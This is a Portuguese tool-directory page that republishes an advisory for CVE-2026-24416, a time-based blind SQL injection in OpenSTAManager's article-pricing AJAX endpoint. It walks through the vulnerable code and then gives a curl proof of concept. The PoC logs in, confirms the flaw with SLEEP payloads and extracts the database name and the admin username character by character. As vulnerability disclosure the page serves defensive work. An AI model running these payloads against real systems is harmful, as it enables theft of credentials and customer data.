Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24416 — CVE-2026-24416 - OpenSTAManager tem uma Injeção de SQL cega baseada em tempo no Módulo de Preços de Artigos | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-24416
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager tem uma Injeção de SQL cega baseada em tempo no Módulo de Preços de Artigos

Ver Repositório
3há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-24416: OpenSTAManager possui uma Injeção SQL Cega Baseada em Tempo no Módulo de Preços de Artigos

Visão Geral

CampoDetalhes
ID CVECVE-2026-24416
SeveridadeALTA
AvisoVer Aviso
Descoberto porLukasz Rybak

Produtos Afetados

  • devcode-it/openstamanager (versões: <= 2.9.8)

Classificação CWE

  • CWE-89: Neutralização Incorreta de Elementos Especiais usados em um Comando SQL ('Injeção SQL')

Detalhes

Resumo

Vulnerabilidade crítica de Injeção SQL Cega Baseada em Tempo no módulo de preços de artigos do OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam todo o conteúdo do banco de dados, incluindo credenciais de usuário, dados de clientes e registros financeiros, através de ataques de inferência booleana baseados em tempo.

Status: ✅ Confirmado e testado em instância ao vivo (v2.9.8) e demo.osmbusiness.it (v2.9.7) Parâmetro Vulnerável: idarticolo (GET) Endpoint Afetado: /ajax_complete.php?op=getprezzi Módulo Afetado: Articoli (Artigos/Produtos)

Detalhes

O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção SQL Cega Baseada em Tempo no manipulador de conclusão de preços de artigos. A aplicação falha em sanitizar adequadamente o parâmetro idarticolo antes de usá-lo em consultas SQL, permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis através de inferência booleana baseada em tempo.

Cadeia de Vulnerabilidade:

  1. Ponto de Entrada: /ajax_complete.php (Linha 27)

    $op = get('op');
    $result = AJAX::complete($op);
    

    O parâmetro op é recuperado, mas a vulnerabilidade está em outros parâmetros.

  2. Distribuição: /src/AJAX.php::complete() (Linha 189)

    $result = self::getCompleteResults($file, $resource);
    
  3. Execução: /src/AJAX.php::getCompleteResults() (Linha 402)

    require $file;
    

    Arquivos complete.php específicos do módulo são incluídos.

  4. Parâmetro Vulnerável: /modules/articoli/ajax/complete.php (Linha 26)

    $idarticolo = get('idarticolo');
    

    O parâmetro idarticolo é recuperado da requisição GET.

  5. Consulta SQL Vulnerável: /modules/articoli/ajax/complete.php (Linha 70) VULNERABILIDADE PRIMÁRIA

    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
    

    Impacto: Concatenação direta de $idarticolo sem prepare(), enquanto $idanagrafica é devidamente sanitizado.

Contexto - Estrutura Completa da Consulta (Linhas 39-74):

A consulta vulnerável faz parte de uma consulta UNION que busca histórico de preços de faturas e notas de entrega:

$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ DEVIDAMENTE SANITIZADO (Linha 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERÁVEL - NÃO usa prepare() (Linha 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

Causa Raiz: O desenvolvedor usou prepare() corretamente no primeiro SELECT (Linha 54) mas esqueceu de usá-lo no segundo SELECT da consulta UNION (Linha 70), criando um padrão de segurança inconsistente.

PoC

Passo 1: Login

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Passo 2: Verificar Vulnerabilidade (SLEEP Baseado em Tempo)

# Teste com SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Resultado: real 0m10.32s (10.32 segundos)

# Teste com SLEEP(3) - deve levar ~3 segundos
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Resultado: real 0m3.36s (3.36 segundos)

# Teste sem SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Resultado: real 0m0.31s (0.31 segundos)
image

Passo 3: Extração de Dados - Nome do Banco de Dados

# Extrair primeiro caractere do nome do banco de dados
# Testar se o primeiro caractere é 'o' (esperado: TRUE para 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.34s (SLEEP executado - condição TRUE)

# Testar se o primeiro caractere é 'x' (esperado: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m0.31s (SLEEP não executado - condição FALSE)

# Extrair segundo caractere (esperado: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.34s (SLEEP executado - confirma segundo caractere como 'p')

# Extrair primeiros 3 caracteres (esperado: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma 'ope...')

Passo 4: Extrair Dados Sensíveis - Credenciais do Administrador

# Extrair nome de usuário admin (testar se os primeiros 5 caracteres são 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Resultado: real 0m2.33s (SLEEP executado - confirma nome de usuário admin)
Baixar ferramenta